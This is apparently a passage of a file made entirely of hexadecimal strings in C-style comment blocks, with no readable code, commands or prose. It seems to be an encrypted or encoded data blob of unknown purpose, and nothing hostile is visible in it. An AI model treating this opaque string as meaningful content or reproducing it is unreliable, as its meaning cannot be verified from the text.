7f97cf2c736b04743ebce22b3b083c25864cc82131554d4c4465cb43639a10a3761765844af606c0c66743845c85c4334b89c8a6a5976072d00dcf5410ad4c123a270d76732c65ad970a3763fba4affc587299486052f41b03b7b30ee853c44ef69f90ed831aad53a3faacf672cf5512dcfa73836346d132767cf1fd066a888f8540950a9f3aec38b9823d7664eec91efd1299093773b65575190944176eb4aae29f26b52af0907bf65137ed308355a7810f68d3fcf7e5f45c28305d9c1979eda0fc1b6f382e82c8c86f5d2854f2fd617cee3109b9f6a2ef23575c47059bddb2ef8c812ca4a1346d5c5bb826f9563b8769c034a5041377e82112127284fd87951d66992c511d9f084e20e3feeb6f1f441b3e9ba5cd8025712bbe60199c5d083ad9f7fe33ddd2ddd5df6a735f6802f950096a634776ebaea91f68f616695d011afe9b43fe4ed9d229c19f325f328a2c37cda025accda970bdaa2e592f1cb225de6d5493692bef621fca6635c782a863f581e86b03388dabc5e003a7eeee45995fe55272c1407f22f493b307683789787b1d17b72044448d62c351e904b2829a1bef5e5229c708da9f9aae42841cd16913fb38671de48f2985c779a894e3aa1435695d24ee01486b01272a352c69a34f79d257fdf79470b36bdc56b20e13b4f1884fc035232a6566646ca9e7a076761b7aff797cfbb4a5cdb2ce3574781fec2481e0e2*/
/*b849d8905860e99cd6dc8bdd40db6d72d0e73c0e03beb2e339fb417180fbf0289dbe909ca531e170290430188183f3420547c7948c769bef428061a9cf7079cec71caa4f834fe6249f9803f01300a3ac73df1ff0cb342a0bd9813f206296861676a07cb02c7258496c85579da1de4c3612164842ffec669dbe43db9c1586d550e9b1022d9e97221d3d36f83ce11b6c726e4846431d85f986b1366478fb839d4302dfa23d07507395845e8e7bbceb8cfa7242227a0d5f161ecebeb3dac587f6a37011ad84ab8dbdd8670f0384da139ef8078bcfccfb23163f2c148fc2ee9cf48cd3c3e8e6e540167d71107eeccdb0504e9c98e9d3b5b290e6d32fd126ed74ea644b957a95ed394381e8664fc0d2b543bed2e7144d13e3b202964e2fa5ed53773e131ce97910f1c9f2a1537893bec26dab22bfe0a5dbf088c165098b3ba1692d691991be83b014051313b61f4cb0984f6585403caf0cfd9e120438fae34bada2cb07dae1879d800a99d9ef120a26f5bc2a56f7cb9fd3b442e6c56334acab75045d1106eece85ee5c30b0b7d15f3b9bf68fec81d17734a8031dd8f69cac02ebb82149f3c9bc389d85d7ea795fcc71a138ab77673d67ecc88425d88b804e691a4a5fac5648630aadb6bd32810fbf977ddb0f41e1ef6c85fa979de7fdb9a02ce5931e56266c537d2d2fbd0ee2e15b973dc60639c89a444c6e6d984bc7d862af96481accc705e0dbea694f5b82e681535f576547d75cb72f9c050d60a9a06a1ce4a3223d87511be8337c9a303a8a4b0058bc2f432afd77b264d8dbddb279da6468638fca2b761b228b8a2308b86e5235d15d7878ffa3847867809421ed42baa0cbd8ddf27070db55838712c3ec4791c20db2dbb6e3402d5532efc9e71490be24eb93138e10b9a194e727869c161e2d32f784c5c4ddfcb92a7ecf6d92cf73cd85903a673a956bd00a0e1382da4d97351463c649f996bdc2564b9b2665c29be683a630a80c6d902e613bd9a85bb074e8b4b3ffa9d4c5c2955b6ceb7ef21fadd545a51a1686eb7d9c6ffde617f95b243ec27f989fdb43c316791ca5c4de3779daed95815981ab9292e7a1d72e7792a5a4c167c5413406e55aef51ef4ca6207e5cc30b809ba073b2fe3c39d59471ac194afbcfc27b88ab2fa6a821d8443f387c31bdd1dfd9fc827aef0b1ced36792f8cc21b88b423f068644eb196b4cee73da39d12d78415c45255a11c8a785c7a932bfb25e92af786f353cb77293b26c10d7f571ac3d011ce3fde60a407a603c441bc9de55457475fb9caa094812eb03252c0e595763fb3eb970fd2cdc0e4a9638f44221d6138de1f73fd22cd74535d12bb977fe83e45e5b9b49b34ddf00ae8717c9283ca9580301fb976598b8756f5d18f4d1b28dc115139cdb66a7e12dec9635a4a6f200ea56fb91502db8149bda8ad06fbbba428788d14778c68024eafd151f5889f0ecf92ed5523c1b94928e623f26ca28e4f96a0ae1fc8b7567d425eff845e37b66ebf9168600f26726fa6f4ea843d66448f534c3fcdee4a8a466ed508d06980275e1406a81befc832385c20069af5d74935b68552bf63967a7f513fcb52648bfd87261e4f63b121e7930c2517b0ddf3ac17b59eb030d783d29df473e35ffa38239a6e1131fcd7ff76ef67681c728546d0ae8d3b2b94e27dae738d4f4bfa4359343e9962e76b4dd88420b26af73b06e5e8dddfc2664a90e5591d975045ba6691b0bcd1f110351d00a7379b980a17b8831ac192fe426fa7b03c586fd9f4957fe5ab759eb0624654442b6c4b9c40d2815fb7cc067e97516398f707f311e39892e40b19094bc1f94deb690411b1caf1895d965f2df5554bafe099b0eb05a831400be90e6a8bfb033ed4d6b0e7237725c407bd597d8f66e88df70fb0f163d28c4a1ad343ceab5a1856eda51086792ee16a5fdd2f4f583a4b3b9c7761433291683bf2ae5726d54082d38a40f4d99647bfaf7a9ee09af69d731a6fc8bf83a5f6ebfa93f6c37c69437b1f949ec63ea34d5b4b4ad91138200447dd167db82aac1eb4b0ca06a2793ea1c2eca18230403fdbc0c8b5e4e06f49b9ae4329bfc44cc386065a4967776bb07854ae33616aa5add1cbe6ef9657bfb76732491b37a3ccc91bb7712f77bfb1f8b2b1cd66484de649fc6be83b8a0556eab3bcccb20e2ba86638d3c3042b1788733c92e4a2aa991285e0a289969047c198a2dab695410063de57f568d15d880e4796e959b47aafa570a4c7d890abd435aecc1bcd7215c2fb16776f3f5882782263f75b51a3628663234f1698dc6235ade5e2a33ee178f3953038db28c4806b64945027342e50165385681e2c71c7903a358fa87cbf78c57f42b8af9423298f168da002be5be98c9b2d1b03b56c5af5244f49ed63f22328ee4077901b7135aca178c405e24b9097f618c0a08b66dd56cbc28c120db3871381fdc806b0aa0637571b92fc0f05b71d85a2ffab998e5b4793b21e7d81c8d5609cb2942f1200e4a80283304f3780d69f76c100e130053c7c20ccdf993089d39fd0ab2d762483de1c5dab5ddfe87eff7a2dc6246d360e2e0d9884ec17ef15ae8a771675dda8fd18433e88bb6a022579264be8d2f68be4ac904006fdb17772e1fdf03c0faa1c1d3da7dac0932d1dd055e544aa0c1de5c793fe380873c2f443b1ded2790705058fea43af37a43ccf437c49365522801f06d9e4bc684fbba851f3cba22c81fd9977eb4104e8f99c7bba976adc2cea65f2aa07c4a335befdd427f6f3eef8251336182f0d941a95ec43471a91f57ac52582d05d30269751b30221d0193c5f2a5ffd8eed533d50db*/
/*f65341a97762f3779f105c869ea61345c7c4eb508abd96e6bf799f7656985e1cc6d7848d2e767480bfa3330bb8c5af8e60492686a418a81980881048abe544583018aa659732350fc386853f593a2b0fb20996c699c440d51bc8dc1632ecb30ff84c3d2b6698bbc09399634cbf423d9cbd2b1fded397b6e6e18ba68ffdd73d0ee74eb4cfc522e60bedb8f7318af877a0e04b7cd634c93e045b85eb3fc5cce88b1087379a478b3eb9213f328306974796e7d8e408e114369ad68785ff856a6dd5637c8e8f95a7c30583e5e7191cd41e486e568b21b983abcdc6101610b89c51d7362d56def84b83c8deb0a0da36cd347de516f121b9cb7e4f2937568e114a95c0f8e53be77db9840ae9fc26c1f4eab5b0bb9ec92cc66e1979ebb2861554229dfe5deb721eaea9f234fdaf602bba915f374d76275913858d781e59a7d87d0e017e1b326d9a21c9e5aa095886a59dff97a361a1bd0a37fbcb3a45c34207ebd489cff7b5f23356f411d3a39425863baf966ebe437edf53c2528b74ac9b74e5f3e8b2751cd1c861b917bb69f4725d8408c89be94b7b334d7bcfa822040804bc598a0e5f103c390210b18b7fb6b1e65733ad74bfc385639421250e09633aaebf007ccb483f59bbda6d5eb2fe545ca610bb2e7b00a88e98967097f9e931baec165a7bb991bfac80b8ca8560c495281b3aa05ac0d58f65cb920a191ddbd54f7615bee75d7b71121e74d3653d8e38e3da4dfbe4ba96e6b3f59ffeba29c400d577b9466441acae5fbcdaf64a9ca19c226c1e6bb5dd4a57347664bae7fd8fc54871bd90eaedfb7002595ffe77edc8dd74a190582d26ef89fa1531303dfd50359ad3701f35e9f7ac13d9cc6f72fb6eecb433dab465840a8c26a34e588211bb489eeca212c0886c35bfbdafa1a3fa1327fddffc837e5ae001176c509694d2bf898c46d7a5ad92d2b48eaf8df874409efcb1a469e1d6c3a1eaae9aa673e4c118b41e5d1b2d39ab751e03413f961940d0548e7c28646698cfc3a8738e5cd8bad920b1fdf6cf9e7c8b66c650825a6fc40146e83d997d7e3f96961153b7178fe5cc72a8a4261f6827b56f8e6e8d3af845991f4f7e6794a7ff32c2cb056ce0455b1cbe4eeb0d4ed45e6aedf3cd1aafbc9c184f46361df7cb3dd85ad98e8151f4c62a7febc6d4a728da1ba4e5b98ad90d841549d24d9c294a4a1a9b7d405dd69c158e385b4915287f2f0846cdd0517670a79646bc1cd5effcf594857edd17d4372baaa0ac572c72af6aa510c57ec1d67ed7d35a25da8a30cc09643389b1fd7a03bf2dbfcd5d72e391972b2cd7091575f9fe2a7ed0494af1ab3b50833f39e861b9471c471d7c463314222b9c9bf47a41e629d61425874fe07eeb6cc4f916ac58f6c523aa3b63d40a455d7dc3be566434c9aa1191a6cd33b45c0cc68f1ea9efbbd4e6b8975f41545d3022946496aeccc0236dd5d2dbc78a03deab33db3b51a67402a074ab6d7d80baa5db4e9a9994ed564181b5663492775e7e435b3e4b4399bd1303916b4c8f0170353fd1f1bc42bd03ed34c81e0b3b6040d4cf270f8490cacc24407e4c9232016f3e80f78ecb08010f9f5654d6ec46e3d80d6198c8f3e2cdc756e8b11fd5564b74a0f5765538c4d4a17254e3a1dcfb2679a4f32ab56cef74498a676744259bf68bc7d065b9705a3e7fe82de5e8e4d6142a65b804a75bd64ca2c6ff4b09514cd34ee625157dcf033611a7eae2b442e557422c45f351da0f07547212dc66464237ab1fdb84bd945a5d3ad7e6cac8734e9972a2290ac82889b40670b6e5cca44797bda62702e2a35d00c5b3d4326eeae9a1332c0dfef08627ce36d1c9e05f719189629292c9b55d59b39cbc94ada135e5a85f7f3e814a8511c025ce5c0e5aa6f1e76c2f53b090ddcd42a4b0ad89c15985590471514262ce803a2ca4911ea794f7155831c38cd238064c78da99727e7f69569cb8313656d88fcf23dceea7a0266919e0b5fe0d66dd8b1cfa689e07272a05a78095edd5ad55ce121776953da4fa618d9219f2f1607325e0ce87da0c6861caf679c7650e1cc82a4289b8dac4f2f894089b0e5319eab456f889607e5017e257fc0c002112992989bf4b7543810c922ce15600f4143e7bd815394a6ab67c6afff7e7ffd5e4082faab706ee2eea711c795743f96d4a92c78c276d2bcb83477da98b7e9a3f4c91393daa2048d0b277f8fd30d548e3bcd3747fabe8f4cf48622e239136b88b33b931b5c4e8177e3b7a45be35d418fb7da02ec82e23cc290afec1869b768bcd03356fc9273501c898c3797a619449c9895dc7631ccbaa6a9f1b7ea63d43b54b452080408e19aa2c7387197a48f828bf443c676e8abb07258934e8f1ef4efa477ab7b7879ea1dae1449ceb2fa44ba7d01b79b6cd5b3751474251e15efb9a3867e38542854f0b5be9584e1080912563f8fb5bfa9a2056b4f5e7b6de0bd730635e22ce3399d6a3389156fd7540392f1ad81e01cfa5978f02f7af29298babc280e3ae52096fcfe4ef9b4d6ebd4eb87228980f04cc25a9a09c9cf1ea0f34ab253f1ed2ce22ae4509b90b27b388199b59de1ae858cd0be686283c93985e4cc1c54606078c7699c2577432820d670129b7036fd3b8c8efdee27946db9fdc4be4a65baff504518687f46b72d3edc39af6c940b879cbfea985d0e2a8312ed0ca26da33984fe339ffa7e2d3f45157bd0d13eefcf707ec0e85e8225011c0859eea5a068074eb2c34cf2f21c2e71954a6135a1ef1b5b2c6501188254ffe569679b38d61ffaadd05a5c29b515d3c981b1b8d60259ee9b148ed86fe9a83cae2fd7d7768c3a25e*/
/*cb2809df5b3a00b7e88b04b557121c39829bebcdd8d9f5598d804f859e5209d2017fdf07f0b38c54920e9e93acb16d8169cb159e6cf5452bfe59580149d7aa997d229738fe5daec3ae4d756bcd1166eeb0b8ea65442f4c5499d42df6ff2b0d957a2dd1e87a39b876c8a2df2d9f6a9395524054947ed6eb0469a54b14b2e7121ea6d29303d628e3246e6eedc1a19694e3c7c4f7c88173ec95f7dc82e9c254a18ccef04019e886f1f5c2b4b19f92f53befab8c8f5896df0dcb1a9c4c9e94397bc35c00651c020ba670a96a5342afe8bc316795ed75d0e79222d935c3bb0f6112e39498f7b18a946d48dc9007079e4b352d40f900574068bd775b0f54aed0305b7fef3c10ef61dc28dea78535f22f03e4212aaba852b804ab5365ade8b938bd4407d313f74c5a921977c906204adef2ed7847c390f4bbd78f6d022375c7aff6b09c7f92c6008b9806a3bcc50a2aebf4b1c83afb50139953b73557aa4302973d7c92ab32cbf624ac2335751ff367882630587f29bee82c05d6a3e25af43b49136128cb1221549d52049d666bfda99bdaa97803ad9c502ad953f7f70084ca761f41e1e711a3cda398080f5306a8d773fb3e76a64152b7ea2ad7b1d60bca6a5098ab7e14bcd7053fcdb571cca0ee3ce868f2636e2154d886a6c877dc3440731ec64d7bf998d89ac1b1f4ddd7d7617f4b7db1e341ba9c15776d3ae6cfa9be1d0183fa6b4cf5e4e2fc4872c3f3d03c435e052be388dcd63d38fb91f4389b56e9753cea9b73badebbfeadc722ec41925ad2f3cb90d0315b00244bf28199754db048b55332d7321bd8915440a81c29108c4b75fb025fc4a429418f44db9b9a6375e179c676fa5f22a421312f046cc719cfd514a478d6d5e6ef72b5c5a7e13b90f1324a466e5f36bdd063c6c5b985eed22036d194b443e2e595413dc64e9e0af8c33b52838f7f36a650472d1eb41b52513a4b3ace5cd367afd42691e18d2fc8af0a4e057e93c1142fdb84db8cea1fd8d41289e090bce159944d398e2a9bfcb5b1d9d64fb2d257c0793d0a503d79e4a2fa6b4d9cbe8a94ad42923b2ec165516b8d45ac29e4e76c89109efbef560fbf379601ff46d02f8cba4217dd13154083e8961d54c3b69943e3b50f2095cb1b619c0bbf58b68684b3510e66341305e45408c853c9a0a7e9b741862b284be8f3102b0fd2000c3e9270ca599b89143ceac7c6963d8507557e7de44980b2d8dec96fc47273043b2b51dfc2b855d86055dbffef2389d4b09138b0cb14038c69786ba307481b087a23fd26a2b39dab1bd14329daa0c88ce9383b53d3c3880ccfe51963156648067a9b5326a8ad787d602017d22d4540170e82e5fd75662eb18b2d224353efa16b814dc7a9e61d79b88fd5a4b880e55e547aa0bf002e6544b871a27cf0738b6c7a0ce2b314ef46718c2c2a174b2ff72e8e4f6bec4fc2514d1438698137da7d541f2851d7fe6daba59091ad82c545106e193f172fbcef9fbf225d92e5c69d8c02b07385904e2924f7cbacf750879d590984db8f79630473e397662f49a0d820b2288b29dd9fa123211723d82fd0a647a914aab97831b7419e6655afdc8935257e5fe5e8f7b595c2549494c5d84f8452b5ae61b49a33961042fdbb9df4bc7c05d5b2e066baaeba29c49183a443ebb6cbc7d29cf792443748caf2d6d51a8005c114142244fb68d3403d0d35b8b7547af6caddd50c515fcfed651b800fe1c48fc406cf1930f70baf1b64a1261db312a8f4394ba6248a634f5b5967cf33498141686c5236ade98564919598080d6c6d6cf7126af2a058f48af3a7844d800b3ac3f7e4625d3febd8d20be9a163fcd349c06a4998db82fde1829f6083bcb9e07650958b15ca7ab378ac3c735328803a51c3c8e90d9b3063dbc1442549d19b10171ec1394927430e00407b97442ae5ebeae51de4fc0041f0241dacce677ad12baf8eee16f77d92e11ae8cf2e52c6d8be44c0874f807aa2e951c0b4c37b1f5b6be27e98162a3a6f2c40fdc6ef23d844725e017f1c448a41222522b5a5bf578e0a95c76cedc5167f4078c83f42b8ed755dcb23ec2b19a770a9908ac5a2436026392d01c8221bb36ef2bb6a73ed13b18f10739439a7e1558e779c7db1b4307e257e6ae2d6ca0ee0f235858452b7c9aa16cadd72f0c2ae027774de6f5e67fd00566b03e0be585b667ecaa765c2245a477d21a9d9ec4c9511c35a7a8ec30b5bf501cfed1026e09cd3f750e3f1cca6379d3e511d0ae9c815d9de05a6384b1bebdbe36fc7cbf1f3762bd009d9d24471754d2f00aa20ae10a9a3e71aa65b15aa9e77d5397d3dba632971e294d131fc2ba7a854a52247cb87211238f5d3cf29f6eef0dc47fab05bfbbbb640ff9a33300d9c57dc61c29abf74032fc075528544450926116e9c217279ecb2fb488d30876947dc5e3358c0b57bfe331248ea45cd3905647417e8240d102513d1d8117a08dc4223326203dbfd418caa537304b93368785acb50befbd439d3fa08372de98df6604bff3c29ee6b96e2498351b96f21aa23c963af168e5bc8c9c54176299e952cff800bbeb56352b917a33a18c54bb1332c52920d8013bbe0273d410a385dd93e6458f4c8cc42798f4647b0470dae006af1775e9d183544170af81b50dbf76566fa28099363e2fdf7ebf1584ad264d12be25a80bcf9325e12d7e5fc07f7296db23384d7ff7195d0388f9959fcb089a921097d340e419917e4a5bead7fc4ea4b75e3cc6b44985772f13e11475d31bb717687c9ae4171b5b2ad7465d8c3551cfbafea4936bb750bb1f87fc5c7c3e3f34f82f3982652da227627be56ad99*/
/*0fd1a6001c3104a2da138b44f0a9433af99a3609a6ba84584ad40692e3ad66e91c7922304d2b5754d6a7842da3a676e37eac4bf2b0e1d3e858d378ce38d1e493ecc90d5d96e1fcfdf644e2608386a637cc4fd77374f5aa0bebb6747e781314ff72e68ee6941244f3b61f0f745a59468cbac4b2229688531524f1b9b51408adfc51bc2b9f7bd62a1c22c4171d1343ba4c24f25829498af8a6fb49a57bb6eb54369d351c892a458c7115bf54518cd1793ec5a2a73614dfd30247b34bd0e799921d6c2972701e6dcaba279a53fdfd1f9a95e213300c3ea71d3e3630f6dc57ba3d43e3ce69ea4d1d10cc1debc9d080c30946e7b9a5a61d3b8ae134fc990b9fc9066daaec1859a785e9f2e71cfb2efe7651fca2939ff51dfad4ba015d33e952d7cbb44795dd741fe7fecb9c81ee7acfcf16c19a7d4f77e4fc4de7eb492edec4add6603507f5b75d25f6be0f1946923db1d199ebf833505d3944af3de11a467fd004f94f1f19710a13c9d9be19ce50ed0ae2386f5117b7a398a51684af117a57faed9a39bf495f678e04124f645eac151fe96624c03c79e4b7ae746370d63c088331bcc0dceddf6264200ace3d6178c7fda3d67c25a9c583e9038aa4c548d920fff93ce01a45fea7e1357868761da113973eaa933584df6a2376b247062c65b2b573c17114a1c38a1bfe628ad26c6bbc938baa7bf61422f020af3634aa044a9e278f3ae4aecdba04d2d06e85ef5a3f70e9afb89bc58d3bd3cda4b885222f47a554328fb89e821fec3041b5f3c0ec7c98b6dd8a156c26df4af417fa37c25eb33e44eb53a9bf4aaeb27f6b6c0cf6e33b6cde24fabcea716c0f3b15f76125fc2a8a7f544ebad74b2ddb5b122d95e4b31562bdd9cb6a25cfa2659cd8373ac033542e604294e89592c959a9edba59a9831aea68589baf3442353a28c57576b61a694cce2746696ac44c85d575807d2687dfc47afa1c52b2a7b5de7dcec596732d48a3c97d7326131bf9e68dd43df2c73ac678d420202052e7aef02aaec8e08c1b0d126c571e27cc9d91b7e685a47119a45fe904cb71e68e18d988ff5c3d8e7731ab8724a0bdc52054da00886ebcde22ee9a0fcc1a046b36bb48387ee5e8c210b5eb756a16257afba6a64e294688c918e9c64379fc3a234a3fe6438eb1585ec8260718f6b370f34d212b19ed1d910fba29a25b7c2ecc7f4cf6ba49304e84b798c37b318d5dd57e2add8799c8d5d52655a855647be62f373b7aba349f88a26edcc4a236149960875139efe74eae751c34135bd7d3cc19636563bd2217d36f54793c0bc48329f9b731141713270a65e0ad85f7118b01ead7e2c20c774b406ffb2d9fe8b781f1fee71d43f074afda58a89bdc0914e35a492f6aa86a4e4eb717c0dd0cbe93212fd44eae07f7c2a37a2b51fcacd119ec29a60beb7ff95ddeb01904610ed739982f23b4f1471456a48cef07354fb5ff2a014c1c2f97b0089cfa29e6de23eb50e1ae5f440e6b2cabb2293c3f1e77f5ba29424900f61d57b2d541f2c8a2cfe1847ca57afc5b44c53c90ee19bb4d1771de8834255e9798f64aed7b2bd75e676c7a385b7d6b033437dd0e6d269d64f8c9a9020dd1384b77a3e7c9f6d015e91626cded69214fb4d25b969708eb177f1f0fc06fd6ea3c4be40a220c6a35728de142752c0918d40831d5bf70628895d29d7513a4b264e88cb68679780759469959de3495c1bdb548baac6aba9a34242400a1417d7b11a84e173603c4a72177e1f6c6d368c2ebc3e507d06ae1441a2c5491b57c230fc0b5f4c694e9862ee99405b7fb51b65016c636c65c7dfa2abb7eb0695e53325c743c99613a6db9a621cecd40308f91309cf8dc6aa557e0c18827d779ed44849eaf203f253c7071ddca82b09347cc36bdd18ebbf0a90a78b9722018a6dbae1b366f03a76605745ed527c37f23e654f5585a512661ae189e2c78e4e321db483a55bc334beee95dde8135c04936b953d0f45384be1401ab22048efdaef1b78b49dd7b3265e42fc1778be74e9fd1a0c4a9bb5469bb64501160e3259615599d241478d7f53b395f401c0f2695d23b119dbab080e7f6349a34c58e1fdc2bba129967ec135d2b305bd3fd281eaabd605cc7edde1482e4b76d01390dcae763dc5787da0b4dba3f8d53b70c4b07e1a4e2dabc91517c7f6578145f259222e5288b91e818b4322db83d20b54028ef8d22a1da4de0e6ab1489bacf71569cf1cb21f80ca9fb3862df5ebed89290cab04bcefd2a8fda24628cd42da0b190321cb3a377ba178fa54a8ba46ae0a18477e4aed684dbdbe44ef63bf245e502122057980bc74ec048eb005d1b905a652521367cb5138fbaa80ae70a01c01e59a4fde71330d61ad53157b36182f1a3883493ea8fd818dd34462f9c28e033b6bf95dfe64c27507625233823387acfdb5d8f69498004e094cc285a59d56cf5aa3d6b9952ccb9428ec388f85a2852051a79e6cd9dbfe7ad4cbc9c767306243953a930e087fde4b7ab0f2f7b7babec20a11f9622ad059a953c38f6277c6a3fd0f232c276d131a8438b572af05da7dbb43fc1cf9646b48f9579b750477680f55773a119f37fc92630cd197801b5e2972f6c129fef77d81c2ba3dff62024fd0dbe60a17274b1a4d5ee24b3949b7a347aff252b659566a5302a66050ab69498e25bfe71530fcb85c61a9ca973e279f2f7207de6e55b6bcbb8614d92538e3c722c11c3eafe7747849f004cf8081b1ecc3493560c6dc48219e4904adca4c6a69f8de013b0d5a64ff3cd8fba4cc9252aa9a213f7469f66500220281c119604165fd20aa2553993950c5657fa2678bbb7*/
/*0b5d28749e69592f859061321a09c3bf9421a3c6998969f6a9799928a780844e4d6f96d13d9b831dfd8597e48991a7d5f764710da140aca5fb3377bd289f8cc41c8a70bea6605e56bf9ea7100185ec2ed70cc476f696a6643560f3cce5eb508d528d94fd2f5e42c20b0df26d24d20aa2b2e974161cfbf93ba47f1275e32b9229c3bf756531ca09c7cde5394bed1584d74da6194c4cf26091635539555212bd73f421d956f552b5b1a109a402bea683a991fe5f58ef599d905e9e8187be6b772727ae5e106e6f215bef6349782fc77ca736a612fbfb04c7e7594df6c5fe1db50357d849e35ce1f80af364c41b45472a54be01526fa6668a6ca6d14aaa250d5e7834d4dc2fa6b091866fe2a5b58a7d2df28bdf298e6d103d9da1695903c57e96204d02690f4d7dcdd92823dee3f2818219813ac1ffa9e7558004f4a565bc866c3721abc72cac34a8b02d46e227a137b85bfc3b1cb37cc4fc64abe99ae00c749c4c959c134b8baa672a95b235b09086b8fbd2db664d534b3ec6dfd3b9cf33222fc180604a8d2be4801ab2f2d6f5f78ae381800e844e5e6546533ca7499abea6fae5cc6457d4c9dd53108ce0c3d13f288e1f6365604bb6ff671a966315b01c181db7ef4e6c8d41f36327f5c2b1c6df553efe81aaf3416a670eba8545b4fb4635fa69a07ac3d4220c4895f96e105b757b56351002bda18939d5959e662e0147e17b7dcb8d254fa540aa0fdc5a0368c9f27f2e0c96185b383b2cfaa58588aaa4a7a26b738bd1ce95151c341c1ab38d8c2b622ab92bb009e8c7f9d759a1b4a4ee24ce348cda81130a228d2c5287354c8aa6b6f2c3ee677de6912030cb4f5d3492dee5d27dafc59ac74b810614f98adab0318424f3ed04248af127b9371c1d269deb06d8ec20c2f8f7dbc5e89b955342c7088ba88033f37f9847660a5f9bd9b91ac254da15292264fd66440248b0feee25286e3ed42ab2cde43f677e54b783fed94ac6b6cf82f9da813b3f3c9f8c6b152f889bfb7c212fb555538793eb61a6eb96ac773182015e89e1c61d8c87a842b049d7731fc1e59b543f2502058c000abeb4e6feb4c33c0abe02d9adf4d1e8a636c17603fd73b9cbfd184b2a42c239806761af7d75b3124279789021eb5f69265357d2513b5ada6da5600d929e981d53c06ebe8fbeb753f60b2044a45456faa472bdb3c1d223ac4fbf00a9a0363a3e806f922da774fb736d649c37d8e4c5c51b4fabf0186b917e890f6f5701d772db517b2c17b6538a3d871923c5dadb7909f296d7f5c8ee4d25bd9542d0266902c4e804d018da5afedf7e805346aef29cf7c172f4c97a85a873e5567bc37e80810e76a0582f76ccdc443551bfc509a6a81ef19f6772ff8ef82c267f9cd23553c3e8d7732fb3dfae610a474fad87a9913c8a8b44b6b913f0ba8f47d3903d3e51748cb5e862377b53de2995930b5e0be6c82d9b79e7a0ab56fe9d8ba84df34b33c7a413b28792a13d3e13a90f684ed79cd7159eda6a7a748b274be87fe4e0ca5cee1a335c95de2384894bd6cbf516b5153276cd383e70e35f40a39823d101b14d560a3d273d9e817f6fdaddfd0a1b091011fd075202a677cd52894d76572cca667bb3ccadaf2ad4135fdc599a7c579aabaa610f7d82b6b4302d487cad353311706ce6e9fb9e2afd3774b3c3d83dc7f3bf10be4306e580ef49dabfb19e93b37366b0f8d81845ce4b73ca8f9d8aef2918474142fa8e3c0a9b6ee4f5def5df688648d4cf563fad799fe4d4e88ec8965e1f6a1778c1e140472104ceef420d1d7ae6c2f728cdb3546d448f5ecc3e89c51691daa57326fd000f2d15d050db1aba4d68346cebb4398e491ca1230a60668f59400f4286bacac9e1f20f5c989824701a7134526d5dbca2f5b329103ba57cfdec693e1eafb5508c7e1a010f162834666db1b4d130603db3a73ef2aef9df19cf3595bc8b73f3beed090d1e1e8a3ff4c2c32afa7ae8cad44f8360afd7a5c89b62b7456ff1258bf7cf426a02dd14e532acc840f94e97bd108c13828b16b6e2635370f186744e37d67904e1f5578319c565abdd447a3ebd637c81df0156217d2e1a7654cecfca2565f67b4138a25a40b445ee9c7fd02f0dcb20dbe776bdafa274307bc6ce4bf4f0ee4fa504f82a8a972088f5dec3c8cd6f9853d3a31c393d148660c7043c79a9b728fd691413aeef90ba4cec104e0c271aabe52907c752506b624c19b9c74c8f929e3c61e45a7d4c18d384498ac52a40528b814d13c9ea1feb71f855e38e5f9cad34c895b4f43c71690056e9672e7116eddbf4a92f80a523db169c063f50f5e68b6107980787b4e2b67e70925a672c63a71d89ed9f48e46450d9c197ee66c2658d51b6fc482cacfac7ee9e8fe1151eb011ce2c2dcbbc08c4c6a1b1ba24dacb6aca3bb026e63a2d9be6175c9def56fb0423309fd937eac1d789d7edd4720132dc998a1a7e850261ba21458b6c41c9c2e2b980ef8f14c8e41a7c5c24f782596727adaa35343c02c1fff4cb9d952443feff9a6470fcb91c1d7c762e30f1ba63feb769c3777ec2ec7de79441c35ff65a7433f34fd117f4e76b84d07bc0bd76d5b63f8a279b8b192dc234f3ce50849af5b3d85954e37d0ec5acf728663e199b6c44b5ff9bc588418c25d5106af6b10778c40c926c6e5cb2cb303387f3959825926ea0bc490a8689fb5252ae40ed1240b47f9861ae30adf7242ec8d77ed33cd4d66e688186ff80a02f3665b7984daa76e0c0520b5e298f614007cedbdeb61b77b2b41bf0b2896d88a62ff58f77f2cce8e1de9cb78d1cbca577ed104f4494f5301755970e3a85a482e4*/
/*3b0de6a4faca218f72e9b3dfd96f3bc5001200f75f157cac1c4971ae3a29fa0fad0f6689178f25e68aa7404e3212db1b36c7a6d1a6d6d3115e006f3bd8515be53561b488e383e0fd78887a65027e17c1705d77bdfd56c0cb826d02a535c152a0de99b74b4652aaf1f6d06d24e546d7e7c09401a2a762cb9e87fb4d8f5a8c91d4140af4f4406d11bb83158529ee8e2ad273bc41041dd7fcee149124264184479179589049f223b1c779fc1923ed029908a7a3e43d4bbd9a39996c2623ea12f7619eeb50f7dcf7c4a247de842d7577d9c15f63528ea867a8e7a610e99ce9f0d5cd66b08fab1839a97e301bd6729427c8a043d7d08fcc2c0bd277489491f7548fcae75ec841cf0701d444dfc6c28dc621901ea01ed69a28825cf4292f8ebbbf89f6d1518d093c0e468246aefcf8e916f248524746424e1b68302cc579d5d163513d4c00875b45595d7ab83690dbe5a4b6819e3e0c91ff17b214dd819278c2e34511edd4d83f35802a73b56d966fa087d247726ebf65b59af07b31c23db86a17d093141800c32e6ce7d48faefa6d6f6a0dbe6ede6e4aa38194d6e3ae8e833d480f3b80c7467f9d715ee1c6c9da756803d336dadceaab7afe7f7bfecc3aaaca5dfd3109ca765de8bcebe6ca65bacb6fb1126f688cf9873a20a7ee6674c5743f53db4f88de1a55e24504dd132581f988d87414fb76e487e49d85f83d68f2e1365549c423fa11f3978c1a309547e879e104ad5b8bf1b096d56166a7a1896d2e6c5e36e25c3e7a88d120ec59277f301d77941695c924bf80f83c20ecfa5d02ff40f3b57795d83c4fefe5dfddbbbf3c3b2bfe3eb25e31eaad74051fb8d49253e2517eb2a2d43f879048cf103ba0f8c529a0be1a53d2bb91d910857fc0fcf9a34ce01ecec7b0079e79ad04bf47a509f370ba62133355797f1380754bfe4239f18017cdd0c0d83d32bf2d5e50619084c62b28ae1a2c37fedd57be8157979d9dc1725755f1ee5994b969728509bdc575922172a3a6134d2207bc83292126615f6a93a6d072ea9ea0b2ad78f2bf7d51c1e9814f6995fde01475df2ee37789034844f8699b21cff15a66cd5dcdbd35303c8fdb44d103765bd6ccc8df274fbacaa0eeec10a3c552557006d79e457923490607150bde05072959d0235356a9b12a508602ef6832080097fe238de591a43b5a04d5c08273a48663c2ece7eaef501880e221f51dff99da67366497d68e3b46c1d07c32ba541f9d797c87c90f9fd201498d6dbcc34a21a0ce32529292cb7d36b22635fd9e62b42182b583cdc59880912f1390fc01e9fd4cd8ac2c5a154eacf19c95f9fea54a7578e584e5731c70a728965151a008aaffcbab2cbf12ae